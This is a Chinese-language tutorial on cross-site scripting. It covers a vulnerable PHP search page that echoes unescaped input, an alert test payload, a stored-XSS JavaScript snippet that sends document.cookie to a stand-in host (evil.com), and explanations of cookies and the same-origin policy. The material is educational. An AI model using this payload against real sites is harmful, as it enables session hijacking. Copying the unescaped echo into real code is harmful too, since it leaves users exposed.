|
1. 简介
跨站点脚本(XSS)是当前web应用中最危险和最普遍的漏洞之一。安全研究人员在大部分最受欢迎的网站,包括Google, Facebook, Amazon, PayPal等网站都发现这个漏洞。如果你密切关注bug赏金计划,会发现报道最多的问题属于XSS.为了避免跨站脚本,浏览器也有自己的过滤器,但安全研究人员总是能够设法绕过这些过滤器。
这种漏洞(XSS)通常用于发动cookie窃取、恶意软件传播(蠕虫攻击),会话劫持,恶意重定向。在这种攻击中,攻击者将恶意JavaScript代码注入到网站页面中,这样"受害"者的浏览器就会执行攻击者编写的恶意脚本。这种漏洞容易找到,但很难修补。这就是为什么你可以在任何网站发现它的身影。
在这篇文章中,我们将看到跨站脚本攻击是什么以及如何创建一个过滤器来阻止它。我们还将看到几个开源库,将帮助你修补在web应用程序中的跨站脚本漏洞。
2. 跨站点脚本是什么?
跨站点脚本攻击是一种Web应用程序的攻击,攻击者尝试注入恶意脚本代码到受信任的网站上执行恶意操作。 在跨站点脚本攻击中,恶意代码在受影响用户的浏览器端执行,并对用户的影响。也被称为XSS攻击。你可能有一个疑问就是为什么我们叫它"XSS",而不是"CSS".
对于广大的web程序猿来说。在网页设计中,我们已经把级联样式表叫做CSS.因此为了避免混淆,我们把cross-site scripting称为XSS.
现在,让我们回到XSS攻击。这个漏洞发生在网站应用程序接收用户的输入数据却没有做必要的编码。如果对用户输入的数据没有进行正确的编码和过滤,这个被注入恶意脚本将被发送给其他用户。 对浏览器来说,它没有办法知道它不应该相信一个脚本的合法性。浏览器会正常地把这个脚本当成普通脚本执行,这个时候恶意的操作就不可避免的发生了。大部分的时候,XSS是用来窃取cookie,或窃取有效用户的会话令牌session,以此进行会话劫持。
3. XSS的演示
Example 1:
几乎所有的网站上看到一个搜索框。有了这个搜索框,你可以搜索并找到在网站上存放的资料。这种搜索形式看起来像这样
<form action="search.php" method="get">
<input type="text" name="q" value="" />
<input type="submit" value="send" />
</form>
在search.php页面中,代码显示了搜索的结果,并且列出了用户输入的搜索关键字。形式如下:
"Search results for Keyword"或者"You Searched for Keyword"
search.php可以这么写来模拟功能:
<h3>You Searched for: <?php echo($_GET['q']); ?>
无论你输入任何关键字,它将随搜索结果一起被显示在网页上。现在想想会发生什么,如果一个攻击者试图从这个地方注入以下恶意脚本。
<script>alert('XSS injection')</script>
可以看到,因为缺少对用户输入的有效的"编码"和"过滤".导致了XSS攻击的发生,其实从本质上理解,XSS就是一种HTML的注入,和传统的buffer overflow是类似的思想,即没有对数据和代码进行有效的分离,在缓冲区溢出总,攻击者在通过超长的数据包发送覆盖了程序buffer的关键返回ret位置,导致CPU控制流的劫持,错误地把攻击者数据当作代码来执行,最后导致了缓冲区溢出。
而XSS中的HTML注入也是一种利用代码和数据未有效分离的攻击,只不过攻击发生在受害者用户的浏览器上,攻击者将数据发送给服务器,服务器没有对输入的数据进行有效的"编码"和"过滤"(即去除数据本身的代码特性,对于HTML来说就是去除它们称为Tag标签的可能),导致了这些数据在用户的浏览器上得到执行,最终导致XSS攻击的发生。
Example 2:
很多网站都有私信或者留言板功能。登录用户可以发表评论或者给其他用户(包括管理员)发送私信。一个最简单的模拟表单如下:
<form action="sendmessage.php" method="post'">
<textarea name="message"> </textarea>
<input type="submit" value="send" />
</form>
当用户点击发送时,这条消息会被保存在数据库中指定的数据表中,另一个用户当打开这条消息的时候将看到发送的内容。但是,如果一个恶意攻击者发送的内容包含了一些javascript代码,这些代码用于偷取敏感的cookie信息。当用户打开看到这条消息的时候,恶意的javascript代码就会得到执行,造成敏感cookie信息泄漏。攻击者可以利用获得这些cookie信息进行session hijacking会话劫持,直接以合法用户的身份登录其他用户的账户。
恶意攻击者可以在消息框中加入一下javascript代码:
var url = "http://www.evil.com/index.php"; //攻击者控制的服务器
var postStr = "ck=" + document.cookie;
var ajax = null;
if(window.XMLHttpRequest())
{
ajax = new XMLHttpRequest();
}
else if(window.ActiveXObject)
{
ajax = new ActiveXObject("Microsoft.XMLHttp");
}
else
{
return;
}
ajax.open("POST", url, true);
ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajax.send(postStr);
ajax.onreadystatechange = function()
{
if(ajax.readyState == 4 && ajax.status == 200)
{
//alert("Done!");
}
}
通过AJAX异步请求,将被攻击者的敏感cookie信息发送给了攻击者控制的服务器。攻击者随后即可利用这些cookie信息以"合法"用户的身份进行登录操作。
这里首先要理清楚几个重要的问题:
1. cookie的作用
Cookie,有时也用其复数形式Cookies,指某些网站为了辨别用户身份、进行session跟踪而储存在用户本地终端上的数据(通常经过加密)。定义于RFC2109(已废弃),最新取代的规范是RFC2965.
也就是说,cookie是用户和服务器之间的桥梁。服务器可以使用session来保存用户的身份信息(ID,购物车等),但是需要用户在访问网页(发送HTTP数据包)的时候附带上相应的cookie,通过cookie中的特定值来识别sessionID,才能把单独用户和单独的session联系起来。cookie是有状态HTTP交互的一种重要机制。
2. 浏览器的同源策略
在进行cookie窃取的时候,攻击者偷取的cookie是什么,是全部cookie,还是当前这个网站的cookie?要解决这个问题,我们要先了解一些浏览器的同源策略。
同源策略,它是由Netscape提出的一个着名的安全策略。
现在所有支持JavaScript 的浏览器都会使用这个策略。
所谓同源是指,域名,协议,端口相同。
当一个浏览器的两个tab页中分别打开来 百度和谷歌的页面
当浏览器的百度tab页执行一个脚本的时候会检查这个脚本是属于哪个页面的,
即检查是否同源,只有和百度同源的脚本才会被执行。
同源策略(Same Origin Policy)是一种约定,它是浏览器最核心也是最基本的安全功能,如果缺少了同源策略,则浏览器的正常功能可能都会受到影响。可以说web是构建在同源策略的基础之上的,浏览器只是针对同源策略的一种实现。
浏览器的同源策略限制了来自不同源的"document"或脚本,对当前"document"的读取或者设置某些属性。为了不让浏览器的页面行为发生混乱,浏览器提出了"Origin"(源)这以概念,来自不同的Origin的对象无法互相干扰。
因为同源策略的原因,也就导致了我们的XSS Payload(XSS攻击代码)必须在我们希望攻击的同一个域下触发。例如攻击者如果想窃取在www . a . com下的cookie,那就必须在www . a . com这个域(可以是不同页面,但要保证是同一个域)下的的某一个页面放置XSS代码,可以是存储型,也可以是反射型或DOM Baesd型的。 |